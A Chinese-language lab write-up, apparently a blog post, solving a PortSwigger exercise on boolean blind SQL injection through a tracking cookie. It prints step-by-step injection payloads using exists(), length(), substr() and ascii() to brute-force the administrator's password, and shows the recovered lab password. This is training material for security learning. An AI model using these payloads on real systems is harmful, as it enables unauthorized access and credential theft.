Lab11_ Blind SQL injection with conditional responses

前言:

实验室标题为:

利用条件响应进行 SQL 盲注

等级:执业者

简介:

本实验室包含一个盲 SQL 注入漏洞。应用程序使用跟踪 cookie 进行分析,并执行包含已提交 cookie 值的 SQL 查询。

SQL 查询结果不会返回,也不会显示错误信息。但应用程序包含一个 如果查询返回任何记录,则在页面中显示欢迎返回消息。

数据库包含一个名为users的不同表,其中有名为username和password的列。您需要利用盲 SQL 注入漏洞找出管理员用户的密码。

要解决实验问题,请以管理员用户身份登录。

进入实验室

显示为一个商店页面

根据已知信息,可以初步判断页面存在 cookie 布尔盲注

构造 payload

这里借助谷歌插件 EditThisCookie 来进行测试

依旧是先判断闭合,输入单引号+注释符,页面出现Welcome back!

xxxx' --

and 1=2 判断

输入 and 1=1,页面出现Welcome back!;输入 and 1=2,页面中Welcome back!消失

xxxxx' and 1=1 --

通关页面是否出现Welcome back!,可以确定存在布尔盲注

盲注不会将数据库的查询结果展示出来,只能依靠猜来判断表名

这就需要掌握几个常用的函数

length()

返回字符串的长度

substr()

截取字符串,substr(str,pos,len)

ascii()

返回字符串的 ascii 码

exists()

判断某表是否存在

官方实验室给出的 payload 如下:

xxxx' and (select 'a' from users limit 1)='a' --

select 后面跟着的是一个数字常量’a’,而不是具体的列名。这意味着不管 users 表里有什么数据,这个子查询都会返回’a’这个值。这里有一个 from users,所以这个子查询的执行应该依赖于 uses 表中是否有数据存在,也就是判断是否存在 uses 表。

limit 1 表示只返回结果中的第一行,整个子查询的作用应该是从 uses 表中选取一行,并返回一个包含 ‘a’的单列结果。如果 uses 表中有至少一行数据,那么这个子查询的结果就是’a’;如果 uses 表是空的,那么这个子查询就不会返回任何结果,或者说返回 null。在 sql 中 null 与任何值的比较都是 null,不是 true 或 false

这个等式的作用是检查 uses 表中是否存在至少一条记录。如果存在,则返回 true;否则返回 null 或 false,具体取决于数据库的实现。这种写法可能用于某些需要布尔判断的场景,比如在 where 子句中进行条件过滤或者作为返回布尔值的表达式

示例:

SELECT * FROM other_table WHERE (SELECT 'a' FROM users LIMIT 1) = 'a';

仅当 uses 表有数据时,才返回 other_table 的结果

与 exists 相比,exists(select 1 from uses)更直接高效,因为它无需比较值,只需要判断是否存在记录

在条件语句中(如 where)中,null 会被视为 false,因此当 users 表为空时,条件不成立

该等式通过固定值比较,间接实现了对 uses 表是否非空的检查,虽然可行,但更推荐 exists()

exists() 函数判断是否存在 users 表

xxxx' and exists(select 1 from users) --

判断是否存在 administrator 用户

xxxx' and exists(select 1 from users where username='administrator') --

length() 函数判断密码的位数

xxxx' and exists(select 1 from users where username='administrator' and length(password)=20) --

substr()函数切割字符结合 burp 爆破密码的 ascii 值

xxxx' and exists(select 1 from users where username='administrator' and ascii(substr(password,1,1))>3) --

再根据 ascii 码对照表确定密码

v52n8q900mg30upfvae0

成功登录管理员账户

官方实验的思路是直接爆破密码,同样是通关修改偏移量来确定密码的值

TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='§a§

笔者的思路是通过爆破密码的 ascii 码值来确定密码

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值